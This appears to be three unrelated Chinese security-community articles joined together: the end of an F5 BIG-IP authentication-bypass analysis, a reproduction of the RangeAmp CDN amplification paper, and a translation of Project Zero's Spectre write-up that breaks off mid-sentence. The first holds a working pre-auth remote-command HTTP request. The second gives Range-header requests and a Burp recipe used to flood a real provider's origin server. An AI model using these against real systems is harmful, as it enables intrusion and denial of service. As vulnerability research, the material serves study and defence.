httpd只查看请求中是否存在 `X-F5-Auth-Token` ，若存在，则直接将请求转发到Jetty进行后续处理。
在Jetty这端，首先会判断 `X-F5-Auth-Token`
是否为空，当设置为空时，对访问路径进行校验，但是这里不匹配任何一种情况。最终进入到else中。这里只会判断 `userReference` 是否为空，以及
`userReference` 是否为 `admin的userReference` 。
回看 `userReference` 的生成过程（在
`com.f5.rest.common.RestOperationIdentifier#setIdentityFromBasicAuth`）：
可以发现这里的 `userReference` 就是默认admin的 `userReference` ：
从而导致了绕过。
#### 4.2.2 ssrf获取token导致认证绕过
在diff中可以明显的看到在 `com.f5.rest.workers.authn.AuthnWorker#onPost` 方法中增加了对
`loginReference.link` 的校验。在跟踪了代码逻辑后，可以发现这里存在一处ssrf。
可控输入点为：
向下看ssrf点：
这里 `state.loginReference.link` 是可控的。首先会new一个 `RestRequestCompletion` ，并将其封装到
`RestOperation` 中，最后向 `state.loginReference` 发起请求。注意到在 `RestRequestCompletion`
中存在 `completed()` 方法，其中会调用 `AuthnWorker.generateToken()` 方法生成一个token，跟进可以看到：
这里又新创建了一个 `RestOperation` ，其中的 `completed` 方法完成了token的映射及返回。具体的token生成在
`com.f5.rest.workers.AuthTokenWorker#generatePrimaryKey` 中：
调用栈为：
如果想要静态跟踪到token生成点的话，直接跟进 `RestRequestSender.sendPost()` 方法即可。
#### 4.2.3 ssrf获取token总结
根据4.1中对处理逻辑的分析，想要找到获取token的点的话，只需要在所有的 `RestWorker` 子类中寻找符合以下两个条件的子类即可：
* 存在 `onPost` 方法可以处理 `POST` 请求
* `onPost` 方法中可以控制执行流到 `RestOperation.complete()` 方法
由于F5采用了回调的方式完成执行流的构建，最终都会通过回调的逻辑执行 `RestRequestCompletion.completed()` 方法。
### 4.3 命令执行端点
命令执行端点主要是配合认证绕过最终达成远程pre auth rce的效果。
#### 4.3.1 /mgmt/tm/util/bash
从[F5 BIG IP官方sdk][7]中找到 `/mgmt/tm/util/bash` 可以直接执行命令：
#### 4.3.2 /mgmt/tm/access/bundle-install-tasks
从diff中可以看到 `/mgmt/tm/access/bundle-install-tasks` 直接将可控参数与 `tar -xf`
拼接，直接执行命令。可以通过反引号直接执行命令。
## 0x05 漏洞利用
### 5.1 认证不完全导致绕过
第一种方法，可以直接构造如下的包，便可以直接执行命令：
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.59.7
Content-Type: application/json
X-F5-Auth-Token:
Authorization: Basic YWRtaW46
Content-Length: 52
{
"command": "run",
"utilCmdArgs": "-c id"
}
### 5.2 ssrf获取token
参考4.2.3的总结，寻找相应获取token的端点，然后配合 `X-F5-Auth-Token` 头向命令执行端点发送请求即可。
## 0x06 Reference
[斗象的研究文章](https://blog.riskivy.com/f5%e4%bb%8e%e8%ae%a4%e8%af%81%e7%bb%95%e8%bf%87%e5%88%b0%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/)
[F5 BIG-IP官方下载链接](https://downloads.f5.com/esd/productlines.jsp)
[Deploying BIG-IP Virtual Edition in ESXi](https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-ve-setup-vmware-esxi-13-1-0/3.html)
[Specify allowable IP ranges for SSH
access](https://support.f5.com/csp/article/K5380)
[m01e对于F5的漏洞配置文章](https://medium.com/@m01e/cve-2020-5902-f5-big-ip-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1e50e24e0415)
[ReadListener官方文档](https://docs.oracle.com/javaee/7/api/javax/servlet/ReadListener.html)
[F5 BIG
IP官方sdk](https://f5-sdk.readthedocs.io/en/latest/_modules/f5/bigip/tm/util/bash.html) | 社区文章 |
# CDN安全-论文复现-RangeAmp攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
论文名称：《CDN Backfired: Amplification Attacks Based on HTTP Range Requests》
论文链接：<https://netsec.ccert.edu.cn/files/papers/cdn-backfire-dsn2020.pdf>
论文简介：2020年清华大学巨佬发布在IEEE/IFIP International Conference on Dependable Systems
and Networks (DSN)上，同时被获得2020年DSN最佳论文。本文主要介绍了基于HTTP Range
Request机制下的HTTP放大攻击，同时本文的实验结果表明，能将原始流量放大至数万倍。可以利用此种方式发送高效率的DDos攻击。
文章简介：本文主要对论文内容进行阐述，最后我对作者所提及的漏洞进行了复现，并详细的撰写复现过程。
## 0x01:摘要
首先简单介绍CDN的当前在网络中的现状，其次介绍HTTP-RANG的由来，并且着重介绍：在RFC文件中建议CDN厂商都支持，当前CDN厂商确实都支持，但是在部署上存在严重的问题。接着引出他们发现的攻击类型（OBR）(SBR)，介绍他们提出的攻击在实验中的结果。最后他们提出简单的防护措施，并将漏洞和防御方法都发给供应商和用户。最后总结介绍论文的三个贡献：
> 1.作者发现了两种基于RangeAmp的两种攻击方式。
> 2.作者测试了13个CDN厂商并且确定了攻击的可行性。
> 3.作者提出了短时间的解决方案。
## 0x02:背景
### 0x01:CDN的背景
CDN(内容分发网络)：是指一种透过[互联网](https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%AF%E7%B6%B2)互相连接的电脑网络系统，利用最靠近每位用户的服务器，更快、更可靠地将音乐、图片、视频、应用程序及其他文件发送给用户，来提供高性能、可扩展性及低成本的网络内容传递给用户（维基百科）。简单的来说，假如你有一台服务器在北京，而你本人在广东，你访问服务器时，你的请求需要从广东发送到北京，这之间经过多个网络设备以及长距离的传输，存在较高的网络延迟。如果你使用CDN，CDN将会为你在全国各地区分配多台服务器，每台服务器上缓存你服务器上的资源。此时你从广东访问你的服务器，如果请求的目标资源被缓存至CDN节点，那就可以直接访问广东的CDN节点的缓存，来获得响应，降低了网络延迟。
作者拿一次客户端请求服务端的完整过程做了详细的介绍。其请求过程如下：用户对服务器请求目标资源。DNS解析将最终跳转到CDN服务商。CDN服务商根据IP的地址为其分配最近的CDN节点。CDN检查目标资源是否被缓存，如果被缓存，直接返回缓存信息。如果目标资源没有被缓存，则将去请求源服务器，同时缓存目标资源。
同时作者指出下图中的CDN，可能不止是一个CDN厂商，可能是多个CDN厂商相互套用加速。如果多个厂商相互套用的情景下，图中的Ingress
Node称之为FCDN，Egress Node称为BCDN。在本章节的最后，作者提出在请求CDN资源末尾加上随机的get参数，能够绕过CND的缓存。例如
1M.zip?adasda=1，能够使CDN去请求源站资源。
### 0x02：HTTP Range Requset机制
由于请求被取消或者TCP连接丢失，HTTP在传输过程中往往发生中断，HTTP协议却又是无状态的应用程序。而HTTP Range
Request就是为了解决这一问题，它能够快速恢复，重新传输丢失的部分。HTTP Range
Requset机制，允许用户请求目标资源的部分内容。只要在请求中加入`Range:`请求头。作者介绍了两种Rang请求的用法：
请求一个文件的部分通常在HTTP请求头中加上Range: bytes=[first_byte-last_byte]或者Range: bytes=[-suffix_length]。
多段式Range请求，在Range中分多段请求部分数据，在第一部分的基础之上加上逗号进行分割。
图中a请求对应着图c响应，同样的b对应d。在图a中`Range:bytes=0-0`为请求目标资源中第一个字节数据。在图C中服务端响应客户端请求，返回206状态码，以及目标资源一个字节的数据。图b中`Range:bytes
=
1-1,-2`请求目标资源第二个字节,和文件的最后两个字节。图d服务端对图b做出了响应，返回206状态码，和两段资源，其中可以发现每段响应都带着`Content-Range`和`Content-Type`这个请求头，`Content-Range`包含目标文件的大小，`Content-Type`包含目标文件的格式。作者提出可以通过发送一个`Range:
bytes=0-0`来判断是否支持Range请求，如果支持则response中状态码为216，如果不支持则返回200。
## 0x03:CDN中的 HTTP -Range-Request
在作者测试的13个CDN中发现目前存在的CDN中对HTTP Range请求存在三种响应方式。
Laziness:对于用户发来的Range请求，直接转发给源主机。
Deletion：直接将请求头的Range删除，然后请求整个资源。
Expansion：将Range的范围扩大至一定的范围。
经过试验作者发现大部分的CDN都是采取删除方案或者扩大方案，因为CDN厂商坚信既然请求部分数据，那必定会请求其他数据，所以不如直接把用户请求的资源完整的缓存在CDN服务器上。本章节的最后作者介绍了下Range请求在RFC文档中定义的变化：在RFC2616中并没有对Range请求做限制，但是由于攻击者发现CVE-2011-3192漏洞：“Apache
Killer”，攻击者发现通过创建大量的多范围的Range请求的线程，可以消耗尽Apache服务器上的内存。因此在RFC7233中对Range请求做了一些限制：”对于大量小范围的Range请求，以及两个以上请求范围有重复的Range请求，服务器应该忽略、合并或者拒绝”。但是显然作者测试的13个CDN并没有这样做。
## 0x04：攻击模型介绍
这一部分作者主要详细介绍了两种攻击模型。一种是SBR攻击，另一种是OBR攻击。首先简单的阐述了两种攻击的攻击方式以及目标。
SBR攻击：图中的a线路，用户利用攻击者构造Range请求发送给CDN，CDN请求源主机完整的资源。用户只发送了很少的请求，而CDN却向服务器请求完整的资源。攻击对象为用户源主机，主要消耗源主机和CDN之间的带宽。
OBR攻击：图中的b线路，应用场景是一个网站被多个CDN嵌套加速(这里的FCDN，BCDN为CDN服务器)。用户发送攻击者构造的Range请求，服务器收到的是很小的流量，但是CDN直接传输却有着很大的流量。攻击对象为CDN主机，主要消耗BCDN或FCNB的带宽
### 0x01: SBR攻击
如果主机CDN利用Dletetion策略和Expansion策略去处理Range请求，那么他就可能遭受SBR攻击。在SBR攻击中源主机收到的流量将远远大于用户的Range请求。由于以上两种处理Range请求的策略，用户请求部分目标资源，而CDN去请求服务器完整资源，导致攻击者构造的Range请求被CDN放大，攻击者能够通过请求CDN主机而对源主机发动Dos攻击。具体参考作者的图解。
从图中看，攻击者在请求头中加入`Range:
bytes=0-0`(表示请求目标资源第一个字节的数据)，CDN假如采取Deletetion策略或Expansion策略，CDN将会向源主机请求完整的目标资源。源主机返回完整目标资源给CDN，CDN对资源进行缓存，同时CDN返回状态码为206的部分主机资源。可以看到如果目标资源越大，则源主机消耗的流量越多。如果利用前面提到的绕过CDN的缓存，多线程的RANGE请求，理论上可以占满服务器的带宽。
### 0x02:OBR攻击
如果在多CDN加速场景下，如果FCDN采用Laziness策略同时BCDN在处理多段范围重叠Range请求时，没有对范围重叠字段进行检查，同时会对多段范围重叠Range请求，做出相应。那么该场景下CDN将会被OBR攻击方式攻击。具体的攻击方式如下。
在我们假设的两种策略都被实现下，攻击者发送多段范围重叠Range请求，例如`Range:
bytes=0-,0-,0-...`(0-的含义是N)。FCND由于是Laziness策略直接将源请求转发给BCDN。BCDN对目标资源进行完整的请求。源服务器将完整的目标资源发送给BCDN，同时BCDN将响应FCDN的多段范围重叠请求，会返回n段完整的数据资源。那么在BCDN和FCDN之间将会有大量的流量产生。而且多段范围重叠Range请求，能够一次返回多个资源，能够更快的占满带宽。
## 0x04：现实世界的CDN安全测试
### 0x01:第一次试验
作者在13个CDN厂商的CDN进行实验，分别为Alibaba Cloud、Tencent Cloud、Huawei
Cloud、Cloudflare、CDN77、Flastly、Azure、CDNsum、G-Core
Labs、CloudFront、Akamai、StackPath。作者首先测试各个厂商应对Range响应的策略。根据两种攻击类型来分别测试对Range请求的响应策略，分别为单一CDN应用场景下的Range请求测试，和多CDN应用场景下多段范围重叠Range请求测试。作者通过对比本地测试构造的Range请求，和源服务器接收到的请求，来判断CDN厂商对于Range请求的应对策略。
#### 0x01：单一CDN应用场景下的测试（SBR）
作者通过构造两种Range请求来测试CDN的响应策略，一种是请求前几字节数据，另一种是请求末尾几字节请求数据。作者通过分析源服务器接受到的请求，来确定CDN的响应策略。最终得到的实验结果如下。
从表中可以看到Akamai, Alibaba Cloud, CDN77, CDNsun, Cloudflare, Fastly, G-Core Labs,
Huawei Cloud, and TencentCloud
都采取了删除策略。国内的三家厂商分别提供了是否开启Range请求的按钮，但是开启之后都容易被SBR攻击。其中微软的Azure当Range请求的范围低于8M时采用Deletetion策略。但是当目标资源高于8M，Azure将会采用Expansion策略，将Range头替换为`Range:
bytes=8388608-16777215`.KeyCDN和StackPath都采用Laziness策略，但是对于第一次Range请求，CDN不缓存目标资源。当再一次接受到目标资源时，CDN才会缓存。作者测试出以上13个CDN均能满足SBR攻击的条件。
#### 0x02：多CDN应用场景下的多段范围重叠Range请求测试（OBR）
作者也对多CDN应用场景下可能存的多段范围重叠Range请求对各CDN进行测试，此次测试实际上是在测试满足OBR攻击两个条件的FCND和BCDN。作者得到的测试结果如表二、表三。
表格二中显示，CDN77、CDNsum、Cloudflare、StackPath等CDN对于多端范围重叠Range请求，没有任何改变直接转发，采用Laziness策略。满足发动OBR攻击FCND的Liness策略，如果这四个CDN厂商的CDN，在多CDN应用场景中被用作FCND那么就有可能遭受OBR攻击。
表格三中显示，Akamai、Azure、StackPath三个厂商，在处理多段范围重叠Range请求时，没有对范围重叠字段进行检查，同时会对多段范围范围重叠Range请求，做出相应。也就是说当用户构造的请求为`Range:
bytes=-n,-n,-n,-n,-n,....`,m次`-n`请求，那么在FCND和BCND服务器之间传输的数据将是m*目标资源大小的流量。
### 0x02：第二次试验
第二次试验中作者测试SBR攻击可以将流量放大的系数。作者对以上提及的13个CDN进行SBR攻击测试，测试SBR攻击能够将原始攻击流量放大的系数。实验的方法为：作者分别在源服务器上放上1MB、10MB、25MB的资源。通过抓取作者发送的攻击流量包和捕获源服务器向CDN发送的数据包，计算出两个数据包之间流量数据相差倍数，即为放大的系数。作者得到的结果如下所示。
从图中我们可以看流量被放大的倍数还是非常可观的，1MB最小被放大的系数为724，25MB时被放大的系数最大为43330。从流量中可以发现其实返回的目标资源是一样大的，不同的是不同的CDN在对目标资源的请求时，会加上不同的请求头所以导致请求放大的系数有所差异。根据上表，作者绘制了放大系数与文件大小之间的图。
作者发现当使用Azure的CDN是当文件大小超过16MB时，随着目标资源的增大，放大系数达到稳定。同样的情况发生在CloudFront上，当文件大小超过10M时，放大系数不增大反而降低。同时作者通过绘制用户接受到的CDN返回的流量和文件大小的关系的图例。
发现KeyCDN返回用户的资源信息离谱的大，原因是因为KeyCDN每次需要至少发送两次Range请求，因此KeyCDN发给用户的响应数据比较大。
### 0x03:第三次实验
第三次实验作者主要是对OBR攻击进行了测试。进行OBR攻击首先需要FCND和BCDN满足条件，FCND需要满足的条件为：采用Lainess策略。在上文中的表二，作者测试出满足条件的四个CDN为：CDN77、CDNsum、Cloudflare、StackPath。BCDN需要满足的条件为：会对多段重叠的Range请求做出响应，通过不会检查Range请求范围是否重叠。在上文中的表三，作者测试出满足条件的三个CDN为：Akamai、Azure、StackPath。接着作者对这12中组合进行实验。作者通过将FCDN将源主机代理到一台服务器中，同时这台服务器将代理的请求转发至BCDN。抓取这台代理服务器的流量，最终获取到FCND和BCDN之间传输的流量数据。同时根据OBR攻击的理论指导。CDN之间传输的流量为分段Range传输中n的个数*目标资源的文件大小。但是CDN对于HTTP请求头大小存在限制：Akamai最大请求头为32KB、StackPath最大请求头为81KB、CDN77
和 CDNsun
请求头为16KB、Cloudflare限制请求头大小为：31KB（其中包含Host请求头），只有Azure限制Range请求头为64。作者为了不影响CDN厂商的工作，只在服务器上存放1KB的目标资源。而是将请求头能利用的空间沾满。从而获得最大的放大系数。作者得到的实验结果如下：
可以看到在BCDN和FCDN之间传输的流量非常的大。而原服务器和客户端接收到的流量却非常小。
### 0x04：第四次实验
第四次实验作者利用SBR攻击来实际测试下能够占用多少带宽。作者在服务器上放置10MB大小的目标资源文件，同时控制每秒发送的range请求的数量，得到用户带宽占用如下图所示。
此图的x轴为时间，Y轴为用户收到的响应数据所占用的带宽。不同颜色的折线表示每秒发送的rang请求的数量。可以看到无论每秒发送多少Range请求，用户的带宽都不会超过500Kb/s。作者接近着又对服务器端的出站流量进行分析。通过绘图结果如下所示。
作者服务器的带宽是1000MB，但是通过SBR攻击，在攻击客户端最高带宽不到500KB/S，能让服务器的1000Mb的带宽全部占满。
### 0x05:原因分析
同时作者发现HTTP2.0中依然是继承了，HTTP1.0中的Range请求策略。作者认为根本的原因在于RFC文档中定义不明确和服务商的安全疏忽造成了这个漏洞的产生。
## 0x05：漏洞复现
作者最后将漏洞提交给各大厂商，收到了各大厂商的好评，论文上说各大厂商修补了这个漏洞。就在看完实验部分想立马动身开始搞一下的时候，作者给我泼了一把冷水，最后我全当测试着玩，发现了小惊喜。华XX，并没有完全修补这个漏洞。在服务器上放10M的文件，burp35线程发包。100Mb的带宽一分钟之内打满。效果如下。
复现过程如下，只要把自己的域名在华某云上加速，然后dig查询下自己的域名是否被加速。
只要出现.cdnhwc2.com结尾的CNAME就证明加速成功。接着在后台开启Range回源选项。
接下来放在服务器上一个资源，这里我放的是1M.zip。利用HTTP range request 请求CDN。具体请求如下：
GET /1M.zip?9989z=z HTTP/1.1
Host: www.xxx.xxx
Range: bytes=0-0
Content-Length: 4
Connection: close
其中文件后面的参数是来绕过CDN的缓存的。请求过程中抓取源服务器的数据包得到如下结果。
`0-524287`是0.5M的资源。他的响应策略就是每次缓存0.5Mb的资源缓存到服务器上。但是对于`Range:
bytes=9999-`,或者是重叠的Range请求，依然采取的是缓存整个目标资源。而且是每次请求0.5M的资源。10M的资源他需要去发送20个Range请求。可以构造请求如下。
GET /10M.zip?9989z=z HTTP/1.1
Host: www.xxx.xxx
Range: bytes=0-1,1-1
Content-Length: 4
Connection: close
源服务器接收到的请求流量数据为下图所示。
请求了多次，每次请求0.5MB的资源。
最后burp一把梭，线程开高点，一会就会把源服务器打躺下。
最后想测试一把OBR攻击，作者测试的那个存在OBR攻击的CDN厂商，有几个需要信用卡来注册。比较麻烦，时间又不怎么够就没有测试。
## 0x06：总结
仔细读了这篇文章，复现加上写笔记补知识花了一个星期整吧，也是满满的收获。其实仔细一想作者的攻击手段并不复杂，但是其创新的思路和攻击方法是很难想到的。作者能够发现这样的漏洞一定是有很深厚的基础知识，看了很多类似的论文。从这篇文章我学到一点去翻看官方的RFC文档真的很重要，很具有权威性。最后本菜鸡第一次发文，大佬轻喷。 | 社区文章 |
本文是[Reading privileged memory with a side-channel](https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html)的翻译文章。下篇见[这里](https://xz.aliyun.com/t/2274)
# 前言
我们发现，CPU数据高速缓存时序可能会被滥用，从错误推测的执行中高效地泄漏信息，导致（最坏的情况下）各种上下文中跨本地安全边界的任意虚拟内存读取漏洞。
已知这个问题的变体会影响许多现代处理器，包括英特尔，AMD和ARM的某些处理器。对于少数英特尔和AMD
CPU型号，我们有针对真正软件的攻击。我们在2017-06-01向英特尔，AMD和ARM报告了此问题[1] 。
到目前为止，这个问题有三种已知的变体：
* 变体1：边界检查旁路（CVE-2017-5753）
* 变体2：分支目标注入（CVE-2017-5715）
* 变体3：流氓数据缓存加载（CVE-2017-5754）
在此处所述的问题公开披露之前，Daniel Gruss，Moritz Lipp，Yuval Yarom，Paul Kocher，Daniel
Genkin，Michael Schwarz，Mike Hamburg，Stefan Mangard，Thomas Prescher和Werner
Haas也报告了这些问题; 他们的[writeups/博文/论文稿]可以在下面找到：
* [幽灵](https://spectreattack.com/spectre.pdf)
* [熔断](https://meltdownattack.com/meltdown.pdf)
在我们的研究过程中，我们开发了以下概念验证（PoC）：
* PoC演示了经测试的Intel Haswell Xeon CPU，AMD FX CPU，AMD PRO CPU和ARM Cortex A57 [2]中用户空间中变体1的基本原理。这个PoC只测试在同一个进程中读取错误推测执行的数据的能力，而不会跨越任何特权边界。
* 变种1的PoC在具有发行标准配置的现代Linux内核下以普通用户权限运行时，可以在Intel Haswell Xeon CPU上的内核虚拟内存中执行4GiB范围内的任意读取[3] 。如果内核的BPF JIT被启用（非默认配置），它也可以在AMD PRO CPU上运行。在Intel Haswell Xeon CPU上，大约4秒的启动时间后，内核虚拟内存可以以每秒2000字节左右的速度读取。[4]
* 对于版本2的PoC，当在基于Intel Haswell Xeon CPU的virt-manager创建的KVM guest虚拟机中以超级用户权限运行时，可以读取在主机上运行的特定（已过时）版本的Debian发行版内核[5]以大约1500字节/秒的速率托管内核内存，并具有优化空间。在执行攻击之前，对于具有64GiB RAM的机器，需要执行大约10到30分钟的初始化; 所需的时间应该与主机RAM的数量大致呈线性关系。（如果客户端有2MB大容量页面，初始化应该快得多，但是还没有经过测试。）
* 变种3的PoC在以正常用户权限运行时，可以在某种先决条件下读取Intel Haswell Xeon CPU上的内核内存。我们相信这个先决条件是目标内核内存存在于L1D缓存中。
有关此主题的有趣资源，请参阅“文献”部分。
在这篇博文中关于处理器内部解释的警告：这篇博文包含了很多关于基于观察到的行为的硬件内部的推测，这可能不一定对应于实际处理器。
我们对可能的缓解有一些想法，并向处理器供应商提供了其中的一些想法。然而，我们相信处理器供应商的地位远比我们设计和评估缓解措施更好，我们期望它们成为权威指导的来源。
我们发送给CPU供应商的PoC代码和写法可以在这里找到:<https://bugs.chromium.org/p/project-zero/issues/detail?id=1272>
# 测试处理器
* Intel(R) Xeon(R) CPU E5-1650 v3 @ 3.50GHz (本文档的其余部分称为“Intel Haswell Xeon CPU”)
* AMD FX(tm)-8320 Eight-Core Processor (本文档的其余部分称为“AMD FX CPU”)
* AMD PRO A8-9600 R7, 10 COMPUTE CORES 4C+6G (本文档的其余部分称为“AMD PRO CPU”)
* An ARM Cortex A57 core of a Google Nexus 5x phone [6] (本文档的其余部分称为“ARM Cortex A57”)
# 词汇表
退出（retire）:当其结果（例如寄存器写入和存储器写入）被提交并使其对系统的其他部分可见时，指令退出。指令可以不按顺序执行，但必须按顺序退出。
逻辑处理器核心（logical processor core）：逻辑处理器核心是操作系统认为的处理器核心。启用超线程后，逻辑核心的数量是物理核心数量的倍数。
缓存/未缓存的数据（cached/uncached
data）：在本文中，“未缓存”的数据是仅存在于主内存中的数据，而不是CPU的任何缓存级别中的数据。加载未缓存的数据通常需要超过100个CPU时间周期。
推测性执行（speculative
execution）：处理器可以执行经过分支而不知道其是否被采用或其目标在何处，因此在知道它们是否应该被执行之前执行指令。如果这种推测结果不正确，那么CPU可以放弃没有架构效应的结果状态，并继续在正确的执行路径上执行。在知道它们处于正确的执行路径之前，指令不会退出。
错误推测窗口（mis-speculation window）：CPU推测性地执行错误代码并且尚未检测到错误发生的时间窗口。
# 变体1：边界检查旁路
本节解释所有三种变体背后的常见理论，以及我们PoC变体1背后的理论，在Debian
distro内核下运行在用户空间中时，可以在内核内存的4GiB区域执行任意读取，至少在以下配置中：
* Intel Haswell Xeon CPU，eBPF JIT关闭（默认状态）
* Intel Haswell Xeon CPU，eBPF JIT打开（非默认状态）
* AMD PRO CPU，eBPF JIT打开（非默认状态）
eBPF JIT的状态可以使用net.core.bpf_jit_enable sysctl进行切换。
## 理论解释
“[英特尔优化参考手册](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf)”在第2.3.2.3节（“分支预测”）中对Sandy Bridge（以及后来的微架构修订版）进行了如下说明：
> 分支预测预测分支目标并启用该分支
> 处理器在分支之前很久就开始执行指令
> 真正的执行路径是已知的。
在第2.3.5.2节（“L1 DCache”）中：
> 负载可以：
> [...]
> 在前面的分支得到解决之前进行推测。
> 不按顺序并以重叠方式进行缓存未命中。
英特尔软件开发人员手册[7]在第3A卷第11.7节（“隐式高速缓存（Pentium 4，Intel Xeon和P6系列处理器）”中声明：
>
> 隐式高速缓存发生在内存元素具有可缓存性时，尽管该元素可能永远不会以正常的冯诺依曼序列被访问。由于积极的预取，分支预测和TLB未命中处理，隐式高速缓存出现在P6和更新的处理器系列上。隐式缓存是现有Intel386，Intel486和Pentium处理器系统行为的扩展，因为在这些处理器系列上运行的软件也无法确定性地预测指令预取的行为。
考虑下面的代码示例。如果`arr1-> length` 未缓存，则处理器可以推测性地从`arr1-> data
[untrusted_offset_from_caller]` 加载数据。这是一个超出界限的阅读。这应该不重要，因为处理器将在分支执行时有效回滚执行状态;
推测性执行的指令都不会退出（例如导致寄存器等被影响）。
struct array {
unsigned long length;
unsigned char data[];
};
struct array *arr1 = ...;
unsigned long untrusted_offset_from_caller = ...;
if (untrusted_offset_from_caller < arr1->length) {
unsigned char value = arr1->data[untrusted_offset_from_caller];
...
}
但是，在下面的代码示例中，存在一个问题。如果`arr1-> length`，`arr2-> data [0x200] 和arr2-> data
[0x300]` 没有被缓存，但所有其他被访问的数据都是，并且分支条件预测为true，处理器可以在加载arr1-> length并重新执行之前进行如下推测：
* `load value = arr1-> data [ untrusted_offset_from_caller ]`
* 从`arr2-> data`中的数据相关偏移量开始加载，将相应的高速缓存行加载到L1高速缓存中
struct array {
unsigned long length;
unsigned char data[];
};
struct array *arr1 = ...; /* small array */
struct array *arr2 = ...; /* array of size 0x400 */
/* >0x400 (OUT OF BOUNDS!) */
unsigned long untrusted_offset_from_caller = ...;
if (untrusted_offset_from_caller < arr1->length) {
unsigned char value = arr1->data[untrusted_offset_from_caller];
unsigned long index2 = ((value&1)*0x100)+0x200;
if (index2 < arr2->length) {
unsigned char value2 = arr2->data[index2];
}
}
在执行返回到非推测路径后，因为处理器注意到`untrusted_offset_from_caller`大于`arr1-> length`，包含`arr2->
data [index2]`的高速缓存行停留在L1高速缓存中。 通过测量加载`arr2-> data [0x200]`和`arr2-> data
[0x300]`所需的时间，攻击者可以确定推测执行过程中index2的值是0x200还是0x300--它揭示了`arr1-> data
[untrusted_offset_from_caller] ＆1`是0还是1。
为了能够实际将这种行为用于攻击，攻击者需要能够在目标上下文中使用超出边界的索引执行此类易受攻击的代码模式。
为此，易受攻击的代码模式必须存在于现有代码中，或者必须有可用于生成易受攻击代码模式的解释器或JIT引擎。
到目前为止，我们还没有确定任何现有的可利用的易受攻击的代码模式实例; 变体1泄漏内核内存的PoC使用eBPF解释器或eBPF
JIT引擎，这些引擎内置于内核中并可供普通用户访问。
这个小的变体可能可以代替使用一个越界读取函数指针来获取错误推测路径中的执行控制权。我们没有进一步调查这个变种。
## 内核攻击
本节更详细地介绍如何使用eBPF字节码解释器和JIT引擎，使用变体1来泄漏Linux内核内存。尽管变体1攻击有许多有趣的潜在目标，但我们选择攻击Linux内核eBPF
JIT /解释器，因为它比其他大多数JIT提供了更多的对攻击者的控制。
Linux内核自3.18版开始支持eBPF。非特权用户空间代码可以将内核提供的字节码提供给内核，然后：
* 由内核字节码解释器解释
* 翻译成本机机器码，该机器码也使用JIT引擎在内核上下文中运行（它翻译单个字节码指令而不执行任何进一步的优化）
字节码的执行可以通过将eBPF字节码作为过滤器附加到套接字上，然后通过套接字的另一端发送数据来触发。
JIT引擎是否启用取决于运行时配置设置 - 但至少在测试过的Intel处理器上，攻击独立于此设置工作。
与传统的BPF不同，eBPF具有数据类型，如数据阵列和函数指针数组，eBPF字节码可以在其中编制索引。因此，可以使用eBPF字节码在内核中创建上述代码模式。
eBPF的数据阵列效率低于它的函数指针数组，所以攻击将在可能的情况下使用后者。
测试过的两台机器都没有SMAP，PoC依赖于此（但它原则上不应该是一个先决条件）。
此外，至少在经过测试的Intel机器上，在内核之间弹跳修改后的缓存行很慢，显然是因为MESI协议用于缓存一致性[8]。
在一个物理CPU内核上更改eBPF阵列的引用计数器会导致包含引用计数器的高速缓存行被跳转到该CPU内核，从而使所有其他CPU内核上的引用计数器的读取速度变慢，直到已更改的引用计数器已被写回到内存。
由于eBPF阵列的长度和引用计数器存储在同一个高速缓存行中，这也意味着更改一个物理CPU内核上的引用计数器会导致eBPF阵列的长度读取在其他物理CPU内核上较慢（故意为false共享）。
该攻击使用两个eBPF程序。 第一个通过页面对齐的eBPF函数指针数组`prog_map`在可配置索引处尾部调用。
简单地说，这个程序用于通过猜测从`prog_map`到用户空间地址的偏移量并在猜测的偏移量处调用`throughprog_map`来确定`prog_map`的地址。
为了使分支预测预测偏移量低于`prog_map`的长度，在两者之间执行对边界索引的尾调用。
为了增加错误猜测窗口，包含`prog_map`长度的高速缓存行被反弹到另一个核心。 要测试偏移猜测是否成功，可以测试用户空间地址是否已加载到高速缓存中。
因为这种直接暴力猜测地址的方法会很慢，所以我们使用下面的优化：
在用户空间地址`user_mapping_area`处创建2^15个相邻用户空间存储器映射[9] ，每个由2^4个页面组成，覆盖总面积为2^31
字节。每个映射映射相同的物理页面，并且所有映射都存在于页面表中。
这允许攻击以2^31个字节为单位执行。
对于每一步，在通过`prog_map`导致越界访问之后，只需要测试`user_mapping_area`的前2^4个页面中的每一个缓存行以获取缓存内存。
由于L3高速缓存物理索引，因此对映射物理页面的虚拟地址的任何访问都将导致映射同一物理页面的所有其他虚拟地址也被高速缓存。
当这种攻击发现一个hit（缓存的内存位置时），内核地址的高33位是已知的（因为它们可以根据发生hit的地址猜测得出），并且地址的低16位也是已知的
（来自user_mapping_area内找到命中的偏移量）。 user_mapping_area的地址是剩余的中间部分。
剩余的位可以通过平分剩余的地址空间来确定：
将两个物理页面映射到相邻的虚拟地址范围，每个虚拟地址范围为剩余搜索空间一半的大小，然后逐位确定剩余地址。
此时，可以使用第二个eBPF程序实际泄漏数据。 在伪代码中，这个程序看起来如下：
uint64_t bitmask = <runtime-configurable>;
uint64_t bitshift_selector = <runtime-configurable>;
uint64_t prog_array_base_offset = <runtime-configurable>;
uint64_t secret_data_offset = <runtime-configurable>;
// index will be bounds-checked by the runtime,
// but the bounds check will be bypassed speculatively
uint64_t secret_data = bpf_map_read(array=victim_array, index=secret_data_offset);
// select a single bit, move it to a specific position, and add the base offset
uint64_t progmap_index = (((secret_data & bitmask) >> bitshift_selector) << 7) + prog_array_base_offset;
bpf_tail_call(prog_map, progmap_index);
该程序在运行时可配置的偏移量和位掩码处从eBPF数据阵列“victim_map”中读取8字节对齐的64
bit，并对该值进行位移，使得一个bit映射到相距2^7个字节的两个值中的一个 （当用作数组索引时足以不落入相同或相邻的缓存行）。 最后，它添加一个64
bit的偏移量，然后使用结果值作为`prog_map`的偏移量，以用于尾部调用。
这个程序可以用来通过反复调用eBPF程序来将内存偏移调用到`victim_map`中来泄漏内存，这个偏移量指定了要泄漏的数据，并且在`prog_mapthat`中出现了一个超出边界的偏移量，从而导致`prog_map
